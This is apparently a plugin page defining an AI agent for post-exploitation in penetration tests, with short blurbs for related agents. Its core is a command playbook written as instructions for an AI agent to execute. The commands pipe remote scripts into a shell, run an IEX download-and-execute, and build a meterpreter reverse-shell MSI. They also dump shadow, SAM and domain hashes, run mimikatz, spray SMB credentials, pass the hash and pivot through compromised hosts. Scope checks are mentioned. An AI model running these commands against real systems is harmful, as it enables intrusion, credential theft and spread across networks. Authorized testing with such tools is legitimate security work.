active-directory
Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration, ADCS ESC attacks, Golden/Silver…
Post-exploitation specialist for privilege escalation, lateral movement, persistence, and credential harvesting. Use after obtaining initial shell access. Triggers on: privesc, lateral, pivot, persistence, escalate, post exploitation, linpeas, winpeas, mimikatz, secretsdump,
> /plugin marketplace add mukul975/Threatswarm > /plugin install threatswarm@threatswarm
How it fires
How this agent gets triggered: by you, by Claude, or both.
Context preview
The summary Claude sees to decide when to auto-load this agent.
Post-exploitation specialist for privilege escalation, lateral movement, persistence, and credential harvesting. Use after obtaining initial shell access. Triggers on: privesc, lateral, pivot, persistence, escalate, post exploitation, linpeas, winpeas, mimikatz, secretsdump,
name: post-ex description: Post-exploitation specialist for privilege escalation, lateral movement, persistence, and credential harvesting. Use after obtaining initial shell access. Triggers on: privesc, lateral, pivot, persistence, escalate, post exploitation, linpeas, winpeas, mimikatz, secretsdump, pass the hash, token impersonation. tools: Bash, Read, Write model: opus
Before starting post-exploitation, invoke these skills via the Skill tool:
Verify target is in scope.txt. Confirm active session exists before proceeding. Document current access level (user, service, www-data, SYSTEM, etc.) before escalation.
# LinPEAS — comprehensive Linux privesc checker curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh \ 2>&1 | tee /tmp/linpeas_$(date +%s).txt # Copy output back scp $USER@$TARGET:/tmp/linpeas_*.txt evidence/$(date +%Y%m%d)/$TARGET/post_ex/
# SUID binaries find / -perm -u=s -type f 2>/dev/null | tee /tmp/suid.txt # Check against GTFOBins: https://gtfobins.github.io/ # Cron jobs cat /etc/crontab && ls -la /etc/cron.* && crontab -l 2>/dev/null # Sudo privileges sudo -l 2>/dev/null # Check GTFOBins for sudo entries # Linux capabilities getcap -r / 2>/dev/null # World-writable files in PATH find $(echo $PATH | tr ':' ' ') -writable 2>/dev/null # Kernel version for exploit search uname -r searchsploit "linux kernel $(uname -r | cut -d'-' -f1)" # Running services as root ps auxf | grep root ss -tulnp # NFS shares with no_root_squash cat /etc/exports 2>/dev/null # Password files and histories cat /etc/passwd | grep -v nologin find /home -name ".bash_history" -o -name ".zsh_history" 2>/dev/null | xargs cat find / -name "*.conf" -o -name "*.config" 2>/dev/null | xargs grep -l "password\|passwd\|secret" 2>/dev/null | head -20
# WinPEAS (download and run)
# PowerShell download
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASbat/winPEAS.bat')
# Alternatively: certutil -urlcache -f http://$LHOST/winPEAS.exe C:\Windows\Temp\wp.exe && C:\Windows\Temp\wp.exe# Token impersonation (SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege) whoami /priv # If SeImpersonatePrivilege: use PrintSpoofer, GodPotato, or RoguePotato # AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # If both = 1: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o evil.msi && msiexec /quiet /qn /i C:\evil.msi # Unquoted service paths wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows" # Weak service permissions accesschk.exe /accepteula -wuvc * 2>nul | findstr /i "access is granted" # Saved credentials cmdkey /list reg query "HKLM\Software\Microsoft\Windows NT\Currentversion\Winlogon" # Stored credentials in common locations dir /s /b C:\*.xml C:\*.ini C:\*.txt 2>nul | findstr /i "password"
# Shadow file (if root) cat /etc/shadow | tee evidence/$(date +%Y%m%d)/$TARGET/creds/shadow_hash.txt # Send to password-attacks agent for cracking # SSH keys find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null # Note location only — do not exfil unless authorized # Config files with creds grep -rE "password|passwd|secret|token|api_key|aws_secret" /etc /home /var/www 2>/dev/null | \ grep -v "Binary\|#" | head -50 # Database credentials find / -name "wp-config.php" -o -name "database.yml" -o -name ".env" 2>/dev/null | \ xargs grep -l "password\|DB_PASS" 2>/dev/null
# Dump SAM + SYSTEM (local hashes) impacket-secretsdump -sam SAM -system SYSTEM LOCAL | tee evidence/$(date +%Y%m%d)/$TARGET/creds/local_hashes.txt # Domain credentials via secretsdump (domain admin required) impacket-secretsdump $DOMAIN/$USER:$PASS@$DC_IP -just-dc \ -outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/dcsync # Mimikatz (on target — requires SYSTEM/Admin) # Via Meterpreter: load kiwi; creds_all # Standalone: mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# SMB spray discovered credentials crackmapexec smb $SUBNET/24 -u $USER -p $PASS --shares --continue-on-success \ | tee evidence/$(date +%Y%m%d)/$TARGET/lateral/smb_spray.txt # Pass-the-Hash impacket-psexec -hashes :$NTLM_HASH $DOMAIN/$USER@$TARGET impacket-wmiexec -hashes :$NTLM_HASH $DOMAIN/$USER@$TARGET impacket-smbexec -hashes :$NTLM_HASH $DOMAIN/$USER@$TARGET
# WMI execution impacket-wmiexec $DOMAIN/$USER:$PASS@$TARGET "whoami" # PowerShell remoting (if WinRM open) evil-winrm -i $TARGET -u $USER -p $PASS
# SOCKS5 proxy through compromised host ssh -D 9050 -f -N $USER@$COMPROMISED_HOST # Then use proxychains for further movement # Port forward (specific port) ssh -L $LOCAL_PORT:$INTERNAL_TARGET:$REMOTE_PORT $USER@$COMPROMISED_HOST
# Route through session meterpreter > run post/multi/manage/autoroute SUBNET=$INTERNAL_SUBNET NETMASK=255.255.255.0 # Use auxiliary/server/socks_proxy for SOCKS msf > use auxiliary/server/socks_proxy; set SRVPORT 9050; set VERSION 5; run -j
Write to `evidence/$(date +%Y%m%d)
27 scope-enforced AI agents that run the full pentest kill-chain (recon → exploit → post-ex → DFIR → report) as a one-command Claude Code plugin. Backed by 754 MITRE-mapped skills.
Repo: mukul975/Threatswarm
Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration, ADCS ESC attacks, Golden/Silver…
API security testing specialist for REST, GraphQL, gRPC, and WebSocket APIs. Handles BOLA/IDOR, mass assignment, authentication bypass, rate limit evasion, JWT…
Defensive security and hardening specialist. Creates detection rules, hardens Linux/Windows systems, writes Sigma rules, configures auditd, fail2ban, Sysmon,…
Command and control infrastructure specialist for authorized red team operations. Handles Sliver C2 framework, Havoc C2, Metasploit multi-handler, msfvenom…
Cloud penetration testing specialist for AWS, Azure, and GCP. Handles IAM enumeration, privilege escalation, S3 bucket abuse, metadata SSRF, Pacu framework,…
Compliance and security standards assessment specialist. Handles CIS benchmarks, PCI-DSS controls, NIST CSF, SOC2, GDPR technical controls, OpenSCAP…